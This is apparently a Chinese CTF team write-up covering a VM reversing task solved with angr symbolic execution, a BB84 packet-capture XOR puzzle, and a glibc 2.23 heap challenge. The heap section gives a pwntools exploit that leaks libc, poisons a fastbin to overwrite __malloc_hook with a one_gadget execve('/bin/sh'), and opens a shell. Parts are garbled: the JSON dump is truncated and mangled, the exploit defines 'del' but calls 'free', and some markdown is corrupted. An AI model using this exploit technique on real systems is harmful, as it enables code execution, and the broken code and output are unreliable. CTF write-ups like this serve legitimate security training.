你想玩明日方舟对不队 WriteUp

排名

你想玩明日方舟对不队：第22名

解题思路

Reverse - VM

0x00 题目简述

程序大致逻辑：

1. 打印 `Please enter your key:`
2. 读取用户输入的 64 位 16 进制整数（`scanf("%llX", Arglist)`）
3. 调用 `sub_4022A0(Arglist)` 对这个 64 位值做一系列运算

4. 最后判断：
   if (*(_QWORD *)Arglist == 0xC3BB7C783538B88EuLL)
   puts("successful validation");
   else
   puts("try again");

所以本质是：找到一个 64 位的输入 key，使得经过 `sub_4022A0` 处理后，结果变成常量 0xC3BB7C783538B88E。

0x01 静态分析入口：sub_4024B0

关键函数反编译（简化）如下：

```
int sub_4024B0()
{
    char Arglist[8];

    puts("Please enter your key:");
    *(_QWORD *)Arglist = 0;
    scanf("%llX", (char *)Arglist);
    sub_4022A0(Arglist);
    if (*(_QWORD *)Arglist == 0xC3BB7C783538B88EuLL)
        puts("successful validation");
    else
        puts("try again");
    return 0;
}
```

可以看到：

- 输入：用户 key（64 位）
- 处理：sub_4022A0
- 输出：检查结果是否等于 0xC3BB7C783538B88E

因此后续分析的重点在 sub_4022A0 以及它调用的若干函数。

0x02 sub_4022A0：虚拟机驱动

sub_4022A0 的主要行为：

1. calloc(0x1000, 1) 分配一块 4KB 的“虚拟内存 Block”，全部清零
2. 写入若干初始值：

```
Block[0] = this[0];          // 输入 key 的低 32 位
Block[1] = this[1];          // 输入 key 的高 32 位
Block[2] = 0;
Block[1002] = 0;
Block[1003] = 0xEEFF0022;
Block[1004] = 0xAABBCCDD;
```

3. 初始化若干“寄存器/状态变量”(通过局部变量 + 栈布局传递给子函数)
4. 进入主循环（伪代码）：

```
pc = 0;           // 程序计数器上界 0x158
pos = 0;          // 指令流位置，用 v35 保存

while (pc < 0x158) {
    // 解码：从 byte_405060/byte_405061 中取指令
    desc = sub_401090(local_buf, &pos);

    // 执行：根据 desc 对 VM 状态 Block 进行运算
    int ret = sub_401F00(Block, desc, &pos);

    if (ret == -1) break;       // 程序结束
    if (ret != 1) pc += 4;      // 普通顺序执行，pc 每次加 4
    if (pos >= 0x158) break;    // 超出指令流边界
}
```

5. 循环结束后，从 VM 中取“结果”：

```
// v21 是 R0 寄存器（存放结果地址）
if (R0 + 4 < 0x1000) {
    this[0] = *(DWORD *)(Block + R0);
    this[1] = *(DWORD *)(Block + R0 + 4);
} else {
    fprintf(stderr, "Invalid R0 value for result extraction\n");
}
```

总结：

- sub_4022A0 实现了一个自定义 VM 的驱动框架：
  - Block：虚拟内存
  - 若干寄存器、栈、标志位等

    - sub_401090：从字节码中取指并解码成内部描述
    - sub_401F00：根据指令类型对 VM 状态进行算术/逻辑/跳转操作
- 输入是 64 位 key，输出是 VM 内部 R0 指向的 64 位数据。

0x03 指令流：byte_405060 / byte_405061

在 .data 段能看到两组数组：

- byte_405060：真正的 opcode 流
- byte_405061：被 sub_401090 在处理 JMP (0x73) / JLE (0xAA) 时当作目标偏移使用（实际上就是 opcode 数组的“第二个字节”）

每条指令宽度为 4 字节，但只有第 1 字节非零，后 3 字节全部为 0；VM 通过 pc += 4 来顺序切换到下一条指令。

片段示意（简化）：

```
00405060: 00 00 00 00
00405064: 01 00 00 00
...
00405110: 73 F0 00 00 ; opcode 0x73, 第二字节 0xF0 => JMP 0xF0
...
00405154: AA B4 00 00 ; opcode 0xAA, 第二字节 0xB4 => JLE 0xB4
```

结构上：

- 0x00 ~ 0x10C 是一段顺序执行的直线代码；
- 0x110：JMP 0xF0 跳转到后半段；
- 0x154：JLE 0xB4 形成一个基于标志位的循环。

字节码就是 VM 的“加密程序本体”。

0x04 操作数访问：sub_401D50 / sub_401E00

sub_401D50：读取操作数

- kind == 0：寄存器访问
- kind == 1：立即数
- kind == 3：内存 [mem_base + (regs[reg] + off)]
- kind == 6：byte ptr，返回 8 位零扩展

sub_401E00：写回操作数

- kind == 0：写寄存器
- kind == 3：写 4 字节内存
- kind == 6：写 1 字节内存

因此 VM 拥有：

- 8 个通用寄存器（0..7）
- 一块 0x1000 字节的内存，通过寄存器 + 偏移寻址
- 寻址描述信息由 a1[2]、a1[4]、a1[6] 等字段控制。

0x05 指令解码：sub_401090

sub_401090 根据 opcode 填写指令描述：

- a1[1]：指令类型（0..20，后续在 sub_401F00 里 switch(a2[1]) 使用）
- a1[2]：目的/源操作数种类（0=寄存器, 1=立即数, 3=内存, 6=byte ptr）
- a1[3]、a1[4]、a1[6]、a1[7]、a1[8]、a1[9]、a1[11]：寄存器索引、偏移、立即数等

例子：

- opcode = 0x73：
  a1[1] = 4; // 类型 4 = JMP
  a1[3] = v5; // v5 = byte_405061[v3] = 跳转目标
  *a2 = v5; // 直接把指令位置改成目标
  a1[2] = 4;
- opcode = 0xAA：
  a1[1] = 16; // 类型 16 = JLE
  a1[3] = v5; // 目标地址
  a1[2] = 4;

其他 opcode（0、1、3、5、6、9、12、15、18、21、24…）则对应不同的算术/逻辑/栈操作。

0x06 指令执行：sub_401F00（ALU + 控制流）

sub_401F00(ctx, desc, &pc) 根据 desc[1] 执行不同操作。简要分类：

- 1 / 2 / 15 / 17 / 20：各种算术和逻辑（MOV/ADD/OR/MUL 等）
- 3 / 5 / 12 / 13 / 19：比较、移位、循环移位、按字节取值等

- 4 / 16：JMP / JLE（基于 ZF / SF 标志）
- 7 / 8：PUSH / POP

最终，VM 对输入 key 做了一系列算术逻辑运算和循环，输出一个 64 位值。

0x07 手工分析难度 & angr 求解思路

由于 VM 指令包含加法、异或、移位、乘法、循环和条件跳转，想要完全手工还原数学公式非常繁琐。更现实的做法是使用 angr 做符号执行：

思路：

1. 在 scanf 调用之后启动状态，避免模拟 I/O；
2. 把 Arglist（存放 key 的 8 个字节）设为一个 64 位符号变量；
3. 从该状态执行，目标是到达 “successful validation” 分支，避开失败分支；
4. 让求解器对符号 key 求解。

0x08 关键地址确认

从反汇编可得：

- AFTER_SCANF_ADDR = 0x004024ED （call scanf 之后的下一条）
- SUCCESS_ADDR = 0x0040250D （push "successful validation"）
- FAIL_ADDR = 0x00402514 （loc_402514）

在 0x4024ED 处，Arglist = [esp + 0x10]（由栈布局计算得出）。

0x09 angr solve.py 脚本

```
import angr
import claripy

BINARY_PATH = "./vm.exe"      # 你的二进制文件名
AFTER_SCANF_ADDR = 0x004024ED
SUCCESS_ADDR      = 0x0040250D
FAIL_ADDR         = 0x00402514

def main():
    proj = angr.Project(BINARY_PATH, auto_load_libs=False)

    # 从 scanf 调用后的地址创建空白状态
    state = proj.factory.blank_state(addr=AFTER_SCANF_ADDR)

    # 64 位符号变量 key
    key = claripy.BVS("key", 64)

    # Arglist 的地址 = esp + 0x10
    arglist_addr = state.regs.esp + 0x10

    # 写入 8 字节符号 key
    state.memory.store(arglist_addr, key, endness=proj.arch.memory_endness)

    simgr = proj.factory.simgr(state)

    # 探索：找到成功分支，避免失败分支
    simgr.explore(find=SUCCESS_ADDR, avoid=FAIL_ADDR)

    if not simgr.found:
        print("[-] No path found, check addresses.")
        return

    found = simgr.found[0]
    model = found.solver.eval(key, cast_to=int)
    print("[+] key =", "{:016X}".format(model))

if __name__ == "__main__":
    main()
```

运行时可能看到一些 WARNING（未初始化寄存器被当作 unconstrained 符号变量处理），一般不影响结果。

脚本输出：

[+] 找到的 key 为：
D8E1C12A7A991DF3

Games

我勒个超级马里奥

正常玩游戏即可得到答案，玩完第一关即可。

□□□□□Flag: flag{700fcf4164d3d337b98ee496ac68ad9c}

Misc

bb84

使用如下的脚本进行数据提取

```
import struct
import ipaddress
import json

PCAP_FILE = "C:\\Users\\zijeff\\Downloads\\bb84_attack.pcapng"
OUTPUT_FILE = "C:\\Users\\zijeff\\Downloads\\decrypted_bb84_data.json" #
指定输出文件名

def parse_pcap(path):
    with open(path, "rb") as f:
        gh = f.read(24)
        if len(gh) < 24:
            raise ValueError("pcap too small")
        # 假设 gh[:4] 包含魔数
        magic_le = struct.unpack("<I", gh[:4])[0]
        magic_be = struct.unpack(">I", gh[:4])[0]

        if magic_le in (0xa1b2c3d4, 0xd4c3b2a1, 0xa1b23c4d, 0x4d3cb2a1):
            endian = "<"
        elif magic_be in (0xa1b2c3d4, 0xd4c3b2a1, 0xa1b23c4d,
0x4d3cb2a1):
            endian = ">"
        else:
            raise ValueError("not a pcap file")

        ver_major, ver_minor, thiszone, sigfigs, snaplen, network = \
            struct.unpack(endian + "HHiiii", gh[4:])

        packets = []
        while True:
            ph = f.read(16)
            if not ph or len(ph) < 16:
                break
```

```
            ts_sec, ts_usec, incl_len, orig_len = struct.unpack(endian +
"IIII", ph)
            data = f.read(incl_len)
            if len(data) < incl_len:
                break
            packets.append({
                "ts_sec": ts_sec,
                "ts_usec": ts_usec,
                "incl_len": incl_len,
                "orig_len": orig_len,
                "data": data,
            })

    meta = {
        "endian": endian,
        "ver_major": ver_major,
        "ver_minor": ver_minor,
        "thiszone": thiszone,
        "sigfigs": sigfigs,
        "snaplen": snaplen,
        "network": network,
    }
    return meta, packets

def parse_ipv4(data: bytes):
    if len(data) < 20:
        return None
    v_ihl = data[0]
    version = v_ihl >> 4
    ihl = v_ihl & 0x0F
    if version != 4 or ihl < 5:
        return None
    hdr_len = ihl * 4
    total_len = struct.unpack("!H", data[2:4])[0]
    proto = data[9]
    src = ipaddress.IPv4Address(data[12:16])
    dst = ipaddress.IPv4Address(data[16:20])
    payload = data[hdr_len:total_len]
    return {
        "src_ip": str(src),
        "dst_ip": str(dst),
        "proto": proto,
        "payload": payload,
    }

def parse_tcp(data: bytes):
    if len(data) < 20:
        return None
    (src_port, dst_port, seq, ack,
     offset_reserved_flags, window,
```

```
     checksum, urg_ptr) = struct.unpack("!HHIIHHHH", data[:20])
    data_offset = (offset_reserved_flags >> 12) & 0xF
    hdr_len = data_offset * 4
    if len(data) < hdr_len:
        return None
    payload = data[hdr_len:]
    return {
        "src_port": src_port,
        "dst_port": dst_port,
        "seq": seq,
        "ack": ack,
        "payload": payload,
    }

def xor_with_key(data: bytes, key: bytes) -> bytes:
    klen = len(key)
    return bytes(b ^ key[i % klen] for i, b in enumerate(data))

def xor_const(data: bytes, c: int) -> bytes:
    return bytes(b ^ c for b in data)


meta, pkts = parse_pcap(PCAP_FILE)

tcp_packets = []
for p in pkts:
    ip = parse_ipv4(p["data"])
    if not ip or ip["proto"] != 6:  # 非 TCP 丢掉
        continue
    tcp = parse_tcp(ip["payload"])
    if not tcp:
        continue
    tcp_packets.append((ip, tcp))

# 前 3 条是明文 key
seed_line = tcp_packets[0][1]["payload"].decode()
xor_key_line = tcp_packets[1][1]["payload"].decode()
basis_line = tcp_packets[2][1]["payload"].decode()

seed = seed_line.split(":", 1)[1].strip()
xor_key_hex = xor_key_line.split(":", 1)[1].strip()
xor_key_bytes = bytes.fromhex(xor_key_hex)
basis_string = basis_line.strip()

cipher_packets = tcp_packets[3:]  # 后面 96 条都是密文

out_packets = []
for idx, (ip, tcp) in enumerate(cipher_packets, start=1):
    c0 = tcp["payload"]
    c1 = xor_with_key(c0, xor_key_bytes)
```

```
    c2 = xor_const(c1, 0x0A)

    # 尝试将结果解码为可读字符串，如果失败则使用原始字节的十六进制表示
    try:
        layer1_str = c1.decode("utf-8").strip()
    except UnicodeDecodeError:
        layer1_str = c1.hex()

    try:
        layer2_str = c2.decode("utf-8").strip()
    except UnicodeDecodeError:
        layer2_str = c2.hex()

    out_packets.append({
        "index": idx,
        "src_ip": ip["src_ip"],
        "dst_ip": ip["dst_ip"],
        "src_port": tcp["src_port"],
        "dst_port": tcp["dst_port"],
        "len": len(c0),
        "layer0_hex": c0.hex(),
        "layer1_xor_key": layer1_str, # 使用尝试解码后的字符串
        "layer2_xor_key_xor0a": layer2_str, # 使用尝试解码后的字符串
    })

result = {
    "seed": seed,
    "xor_key_hex": xor_key_hex,
    "basis_string": basis_string,
    "packets": out_packets,
}

# 将结果输出到文件
try:
    with open(OUTPUT_FILE, "w", encoding="utf-8") as outfile:
        json.dump(result, outfile, indent=2, ensure_ascii=False)
    print(f"✅ 结果已成功写入文件: {OUTPUT_FILE}")
except Exception as e:
    print(f"❌ 写入文件时发生错误: {e}")
```

得到输出如下:


```
{
  "seed": "123456789",
  "xor_key_hex": "8660ace90c0352f3",
  "basis_string": "x++x+x+xx++x+xxxxx++x+xxxxxx++x+",
  "packets": [
    {
      "index": 1,
```

```
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40004,
      "len": 36,
      "layer0_hex":
"e917c4957e2b6ad9ba4d9dc6312a6fc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r(8*<-1/=)=6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx\"2 6';%7#7<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 2,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40005,
      "len": 35,
      "layer0_hex":
"e917c4957e2c6cd9bc4396cb362876bce712d6d26c6b7b89af1dc49960383d84ee1cd8",
      "layer1_xor_key": "owh|r/>*:#:\":+$Oarz;`h)z)}hpl;owh|t",
      "layer2_xor_key_xor0a": "e}bvx%4 0)0(0!.Ekxp1jb#p#wbzf1e}bv~"
    },
    {
      "index": 3,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40006,
      "len": 36,
      "layer0_hex":
"e917c4957e296bdbbb4b93c2312d6fc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r*9(=+?+=.=6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx 3\"7!5!7$7<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 4,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40007,
      "len": 36,
      "layer0_hex":
"e917c4957e2a68d0b74396c13c206dc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r):#1#:(0#?6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx#0);)0\":)5<Wyjb#xp1b1epht#wopdl"
    },
    {
```

```
      "index": 5,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40008,
      "len": 36,
      "layer0_hex":
"e917c4957e2a6edabf4f9cc2322068c5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r)<)9/0+>#:6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx#6#3%:!4)0<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 6,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40009,
      "len": 36,
      "layer0_hex":
"e917c4957e2963d0b64b9cc33d286cc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r*1#0+0*1+>6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx ;):!: ;!4<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 7,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40010,
      "len": 36,
      "layer0_hex":
"e917c4957e2a6dd0be4c93c4372d6ec5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r)?#8,?-;.<6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx#5)2&5'1$6<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 8,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40011,
      "len": 36,
      "layer0_hex":
"e917c4957e2b6cd9b84990c0302b6cc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r(>*>)<)<(>6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx\"4 4#6#6\"4<Wyjb#xp1b1epht#wopdl"
```

```
    },
    {
      "index": 9,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40012,
      "len": 35,
      "layer0_hex":
"e917c4957e2c6adbbc4d9dc7332f76bce712d6d26c6b7b89af1dc49960383d84ee1cd8",
      "layer1_xor_key": "owh|r/8(:-1.?,$Oarz;`h)z)}hpl;owh|t",
      "layer2_xor_key_xor0a": "e}bvx%2\"0';$5&.Ekxp1jb#p#wbzf1e}bv~"
    },
    {
      "index": 10,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40013,
      "len": 35,
      "layer0_hex":
"e917c4957e2c6bd9b94f97cb332c76bce712d6d26c6b7b89af1dc49960383d84ee1cd8",
      "layer1_xor_key": "owh|r/9*?/;\"?/$Oarz;`h)z)}hpl;owh|t",
      "layer2_xor_key_xor0a": "e}bvx%3 5%1(5%.Ekxp1jb#p#wbzf1e}bv~"
    },
    {
      "index": 11,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40014,
      "len": 36,
      "layer0_hex":
"e917c4957e2b63dbbf4993c231206cc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r(1(9)?+=#>6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx\";\"3#5!7)4<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 12,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40015,
      "len": 36,
      "layer0_hex":
"e917c4957e2a6cdbbf4a97cb30296cc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r)>(9*;\"<*>6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx#4\"3 1(6 4<Wyjb#xp1b1epht#wopdl"
```

```
    },
    {
      "index": 13,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40016,
      "len": 35,
      "layer0_hex":
"e917c4957e216bdcbd4a91c43c2076bce712d6d26c6b7b89af1dc49960383d84ee1cd8",
      "layer1_xor_key": "owh|r\"9/;*=-0#$Oarz;`h)z)}hpl;owh|t",
      "layer2_xor_key_xor0a": "e}bvx(3%1 7':).Ekxp1jb#p#wbzf1e}bv~"
    },
    {
      "index": 14,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40017,
      "len": 36,
      "layer0_hex":
"e917c4957e2c69d8bd4395c231296ac5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r/;+;#9+=*86]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx%1!1)3!7 2<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 15,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40018,
      "len": 35,
      "layer0_hex":
"e917c4957e2c63d9bb4c97ca332c76bce712d6d26c6b7b89af1dc49960383d84ee1cd8",
      "layer1_xor_key": "owh|r/1*=,;#?/$Oarz;`h)z)}hpl;owh|t",
      "layer2_xor_key_xor0a": "e}bvx%; 7&1)5%.Ekxp1jb#p#wbzf1e}bv~"
    },
    {
      "index": 16,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40019,
      "len": 36,
      "layer0_hex":
"e917c4957e2a6ddbbd4a91c1372f6ec5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r)?(;*=(;,<6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx#5\"1 7\"1&6<Wyjb#xp1b1epht#wopdl"
```

```
    },
    {
      "index": 17,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40020,
      "len": 36,
      "layer0_hex":
"e917c4957e296ed0bd4e91c1372a63c5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r*<#;.=(;)16]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx 6)1$7\"1#;<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 18,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40021,
      "len": 36,
      "layer0_hex":
"e917c4957e296edebb4b90c4342863c5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r*<-=+<-8+16]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx 6'7!6'2!;<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 19,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40022,
      "len": 35,
      "layer0_hex":
"e917c4957e2169d0b84b90c03d2176bce712d6d26c6b7b89af1dc49960383d84ee1cd8",
      "layer1_xor_key": "owh|r\";#>+<)1\"$Oarz;`h)z)}hpl;owh|t",
      "layer2_xor_key_xor0a": "e}bvx(1)4!6#;(.Ekxp1jb#p#wbzf1e}bv~"
    },
    {
      "index": 20,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40023,
      "len": 36,
      "layer0_hex":
"e917c4957e2b68dfbe4a90c63d2b6bc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r(:,8*</1(96]s`h)rz;h;ozb~)}eznf",
```

```
      "layer2_xor_key_xor0a": "e}bvx\"0&2 6%;\"3<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 21,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40024,
      "len": 36,
      "layer0_hex":
"e917c4957e2c6bdabd4b90cb352c68c5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r/9);+<\"9/:6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx%3#1!6(3%0<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 22,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40025,
      "len": 36,
      "layer0_hex":
"e917c4957e2c69ddbf4c97c030296ac5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
      "layer1_xor_key": "owh|r/;.9,;)<*86]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx%1$3&1#6 2<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 23,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40026,
      "len": 35,
      "layer0_hex":
"e917c4957e2d6fdfbd4893c3302a76bce712d6d26c6b7b89af1dc49960383d84ee1cd8",
      "layer1_xor_key": "owh|r.=,;(?*<)$Oarz;`h)z)}hpl;owh|t",
      "layer2_xor_key_xor0a": "e}bvx$7&1\"5 6#.Ekxp1jb#p#wbzf1e}bv~"
    },
    {
      "index": 24,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40027,
      "len": 36,
      "layer0_hex":
"e917c4957e296adcba4c9dc733296dc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f
",
```

```
        "layer1_xor_key": "owh|r*8/<,1.?*?6]s`h)rz;h;ozb~)}ezn
        "layer2_xor_key_xor0a": "e}bvx(2&6&;#a 5&g!3"4$a%2#b)gsg gw4\'0l'"
    },
```

先进行循环异或解密得到Layer1 再对每个字节异或0x0A得到Layer2 再对Layer2用[0x03, 0x11]异或解密后得到flag，具体脚本如下。

```python
cipher_layer2 = 'e}bvx(2&6&;#a 5&g!3"4$a%2#b)gsg gw4\'0l'

# 我们分析出的 Layer 2 循环密钥
key_pattern = [0x03, 0x11]

plaintext = []

for i, char in enumerate(cipher_layer2):
    # 取出当前字符的 ASCII 值
    c_val = ord(char)
    # 取出对应的 Key (0x03 或 0x11)
    k_val = key_pattern[i % 2]
    # 异或解密
    p_val = c_val ^ k_val

    plaintext.append(chr(p_val))

flag = "".join(plaintext)

print(f"【密文】: {cipher_layer2}")
print(f"【Flag】: {flag}")
```

最后运行得到结果：

flag{9175782b167d00375b412a8dbd1df763}

我不吃牛肉

是个菜单堆，glibc为2.23，所以猜测直接打hook

算下随机数，4个数字对应4个操作，然后有uaf，直接fastbin打malloc**hook就行了，不过这里有一个trick，可以用'_*realloc_hook'修改'__malloc_hook'，这个时候就可以写ogg并执行了***

一个个试一下就好了

```
$ one_gadget ./libc.so.6

0x4527a execve("/bin/sh", rsp+0x30, environ)

constraints:

  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48],
...} is a valid argv



0xf03a4 execve("/bin/sh", rsp+0x50, environ)

constraints:

  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68],
...} is a valid argv



0xf1247 execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88],
...} is a valid argv
```

exp如下，前面的头去掉了

PYTHON

```python
...

io = start()


def edit(idx, length, payload):

    io.sendafter(b'choice', b'356\n')

    io.sendafter(b'index',  str(idx).encode() + b'\n')

    io.sendafter(b'length', str(length).encode() + b'\n')

    io.sendafter(b'content', payload)


def new(idx, alloc_size):

    io.sendafter(b'choice', b'299\n')

    io.sendafter(b'index',  str(idx).encode() + b'\n')

    io.sendafter(b'size',   str(alloc_size).encode() + b'\n')


def del(idx):

    io.sendafter(b'choice', b'789\n')

    io.sendafter(b'index',  str(idx).encode() + b'\n')


def show(idx):

    io.sendafter(b'choice', b'777\n')

    io.sendafter(b'index',  str(idx).encode() + b'\n')

new(0, 0x480)
```

```
new(1, 0x68)
del(0)
show(0)

libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c4b78
log.success("libc_base: " + hex(libc_base))

new(10, 0x480)

malloc_hook = libc_base + libc.sym['__malloc_hook']
relloc = libc_base + libc.sym['realloc']
ogg = libc_base + 0xf1247

new(2, 0x68)
new(3, 0x68)

free(1)
free(2)

edit(2, 8, p64(malloc_hook - 0x23))

new(4, 0x68)
```

```
new(5, 0x68)

edit(5, 0x13 + 8, b'a' * (0x13-0x8) + p64(ogg) + p64(relloc + 20))

new(6, 0x10)

io.interactive()
```